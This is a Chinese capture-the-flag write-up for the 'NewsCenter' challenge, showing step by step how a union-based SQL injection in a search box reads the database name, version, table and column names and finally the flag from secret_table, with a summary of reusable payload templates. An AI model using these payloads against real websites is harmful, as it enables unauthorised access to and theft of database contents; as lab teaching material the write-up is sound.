攻防世界-NewsCenter

题目信息

分析过程

题目打开是有个输入框可以用来输入搜索信息,初步判断是个sql注入的题目。接下来判断能否进行sql注入:

输入 hi,有搜索结果,如下图:
输入hi',无结果,如下图:
初步判定是hi'后面还有单引号,导致重复输入导致的,(单引号与服务端代码中的'形成闭合,将我们输入的字符串hello包裹,服务端代码后面多出来一个'导致语法错误,而加入#将后面的'注释掉之后不会报错,可确定为字符型SQL注入。)为了证明判断结果,输入hi'#(意思#后面的内容都要呗注释掉),结果如下图:
证明确实存在sql注入的问题,解题思路为朝着sql注入的方向努力。

解题过程

  1. 判断字段的个数:使用order by 确定。原理:order by根据前面查询内容的属性对查询数据进行分类,order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数
    hi' order by 1#:
    hi' order by 2#
    hi' order by 3#
    hi' order by 4#

证明是三个字段。

  1. 使用union联合表法注入。

输入hi' union select 1,2,3#:
只有2,3列回显,ps:

输入:

复制代码
hi' union select 1,#
hi' union select 1,2#
hi' union select 2,3#

都无法正常回显。

  1. 使用

    hi' union select 1,database(),version()#

查询数据库版本和名称

可以看到数据库名称是news,数据库版本是5.5.61。版本是5.0版本以上,我们可以通过系统的数据库来获取很多想要的信息。

其中,database()的位置可以是任意的:(只要不是1就行,因为1不回显)

4.获取表名

hi' 复制代码

结果如下:

或者

复制代码
hi' union select 1,2,table_name from information_schema.tables where table_schema='news'#

结果如下:
得到表名news、secret_table

  1. 获取字段名:

    hi' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #

结果如下:
得到字段名id、fl4g;需要获得fl4g的字段内容

  1. 获得fl4g的字段内容,输入:

    hi' union select 1,id,fl4g from news.secret_table #

获得flag:

相关知识

  1. 5.0以上的版本自带information_schema数据库,这数据库下面又有schemata、tables、columns,这些表中又有(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)字段。
    2. 使用或者不使用group_concat都可以,相关用法如下:https://www.jb51.net/article/2844934ju.htm
    3.总结:
    查表:hi' union select 回显字段1,回显字段2,group_concat(table_name) from information_schema.tables where table_schema='news',在三个回显字段中选一个就行。
    查列:hi' union select 回显字段1,回显字段2,group_concat(column_name) from information_schema.columns where table_schema='news' #看表中有哪些列,也就是表含有哪些信息。
    查字段:hi' union select 回显字段1,回显字段2,fl4g from secret_table#,就是把表中的列里的具体数字搞出来。
相关推荐
努力的lpp几秒前
渗透主流工具完整参数手册(sqlmap、Nmap、Hydra、Dirsearch、Xray)
javascript·网络协议·测试工具·安全·http·工具
CJH(本人账号)3 分钟前
上线仅72小时被强制下架:Claude Fable 5 的短命
人工智能·安全·语言模型
kang0x06 分钟前
将一个通用 DAG 探索引擎迁移到 Flocks:CTF 回归测试全记录
安全
果丁智能8 小时前
智能锁赋能网约房民宿数字化管控:身份核验+远程授权,筑牢安全防线、降本增效
网络·数据库·人工智能·安全·智能家居
云安全助手9 小时前
Anthropic年度报告解读:AI重塑网络攻击形态,传统防御体系亟待升级
人工智能·安全·网络安全·ai大模型
映翰通朱工10 小时前
工业4G网关无公网IP远程运维实战(内网终端异地访问方案)
运维·服务器·网络·安全·智能路由器
GIS数据转换器11 小时前
城市排水生命线安全运行监测平台深度解析
java·运维·人工智能·python·安全·数据挖掘·无人机
guyuyiqi13 小时前
多效唑农药残留检测卡快速检测果蔬中的多效唑农药残留
科技·安全
东方隐侠安全团队-千里15 小时前
币安Skills Hub:散户的“机构级超能力“来了
安全·ai·区块链·skills
m0_7381207215 小时前
渗透测试基础——基于Docker的Rsync服务靶场搭建与原理讲解
运维·服务器·网络·安全·web安全·docker·容器